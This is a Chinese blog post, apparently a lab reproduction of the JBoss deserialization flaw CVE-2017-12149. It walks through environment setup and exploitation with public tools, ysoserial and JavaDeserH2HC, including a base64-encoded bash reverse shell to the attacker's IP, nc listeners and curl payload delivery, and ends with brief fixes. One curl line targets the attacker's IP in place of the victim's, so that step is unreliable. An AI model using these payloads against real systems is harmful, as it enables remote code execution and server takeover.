Jboss反序列化漏洞复现(CVE-2017-12149)

Jboss反序列化漏洞复现(CVE-2017-12149)

//一共尝试了三种方式

一:

(一)漏洞描述

漏洞为java反序列化错误,存在于jboss的Httplnvoker组件中的ReadOnlyAccessFilter过滤器中,该过滤器在没有对用户输入的数据进行安全检测的情况下,对数据流进行反序列化操作,进而导致了漏洞的发生

(二)漏洞影响版本:jboss 5.x、jboss6.x

(三)漏洞复现环境搭建

Win7 192.168.87.145 //建议在Win7,win10个人尝试过,页面解析不了

1.安装java环境,并测试

(1)JDK,可以到官网下载:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

根据版本下载对应的JDK //我win7是64位的

Jboss反序列化漏洞复现(CVE-2017-12149)

(2)配置环境变量

win+R,输入sysdm.cpl --> 高级-->环境变量

  • 变量名:CLASSPATH //大小写都行

    变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar; //前面有个点"."

  • 变量名:Path //在里面加上

    变量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

  • 变量名:JAVA_HOME

    变量值:C:\Program Files\Java\jdk1.8.0_301

    (3)测试环境

cmd,输入java、javac、java -version, 显示成功就说明环境没问题 //win10 ,javac执行不了是因为每个变量后面会自动加上; ,so

Jboss反序列化漏洞复现(CVE-2017-12149)这样就ok了,Jboss反序列化漏洞复现(CVE-2017-12149)

2.搭建jboss环境

(1)http://jbossas.jboss.org/downloads/ 下载jboss-as-6.1.0-final

(2)解压放在一个目录下(C:\ve\jboss-6.1.0.Final)

(3)新建环境变量

  • 变量名:JBOSS_HOME

    变量值:C:\ve\jboss-6.1.0.Final

    在Path中加入 :%JBOSS_HOME%\bin;

(4)配置好环境变量后,在C:\ve\jboss-6.1.0.Final\bin下打开cmd,输入call run.bat,出现下图表示启动成功

Jboss反序列化漏洞复现(CVE-2017-12149)Jboss反序列化漏洞复现(CVE-2017-12149)

3.先在本地测试,在浏览器中输入127.0.0.1:8080

//win中,端口都是开放的,默认是关闭状态,有程序需要时,会自动打开。so,在cmd启动后,在浏览器中输入IP:port即可(查看端口使用状态命令:netstat -ano)

Jboss反序列化漏洞复现(CVE-2017-12149)

4.因为默认不能远程访问,所以我们需要修改一下配置文件,

位置在:jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml ,改成如下即可:,然后重启jboss

Jboss反序列化漏洞复现(CVE-2017-12149)

5.测试远程访问,ok~

Jboss反序列化漏洞复现(CVE-2017-12149)

6.访问http://192.168.87.145:8080/invoker/readonly,若显示如下HTTP Status 500,则说明存在漏洞

Jboss反序列化漏洞复现(CVE-2017-12149)

7.使用工具测试利用漏洞,工具下载地址:https://github.com/yunxu1/jboss-_CVE-2017-12149反序列化测试工具

(1)verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串

Jboss反序列化漏洞复现(CVE-2017-12149)

(2)直接使用jboss反序列化_CVE-2017-12149.jar

Jboss反序列化漏洞复现(CVE-2017-12149)

执行其他命令,出现中文会乱码,可以输入命令chcp 65001,减少乱码

8.漏洞防护

1、升级jboss版本

2、不需要的http-invoker.sar组件,可以删除

二:

靶机:win7 192.168.87.145:8080

测试机:kali 192.168.87.128

(1)下载漏洞利用工具 http://scan.javasec.cn/java/JavaDeserH2HC.zip,解压放在kali桌面,进入JavaDeserH2HC目录下,然后下载执行生成二进制的payload文件

输入:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

//javac命令执行不了,输入:apt install default-jdk ;centos执行不了,输入:yum install java-devel

Jboss反序列化漏洞复现(CVE-2017-12149)

(2)继续输入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.87.128:4444

​ //ip地址为Kali地址(ifconfig查看),端口为随机监听,不冲突就行,用来进行反弹shell

Jboss反序列化漏洞复现(CVE-2017-12149)

(3)重新打开一个终端,输入监听端口的命令:nc -lvvp 4444

Jboss反序列化漏洞复现(CVE-2017-12149)

(4)向靶机发送payload: ,成功则会返回监听结果 // –data-binary的意思是使用curl命令向/invoker/readonly提交payload

curl http://192.168.87.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

Jboss反序列化漏洞复现(CVE-2017-12149)

三,

反弹shell

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,so,我们用常规Java反序列化漏洞测试方法来复现该漏洞。

(1)编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

利用工具:http://www.jackson-t.ca/runtime-exec-payloads.html

Jboss反序列化漏洞复现(CVE-2017-12149)(2)构造生成payload,使用ysoserial来复现生成序列化数据

java -jar ysoserial.jar CommonsCollections5

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

(3)监听端口:nc -lvvp 6666

(4)发送payload:curl http://192.168.87.145:8080/invoker/readonly --data-binary @poc.ser,查看监听结果

上一篇:攻防环境之win2003jboss部署


下一篇:CVE-2017-12149 复现及修复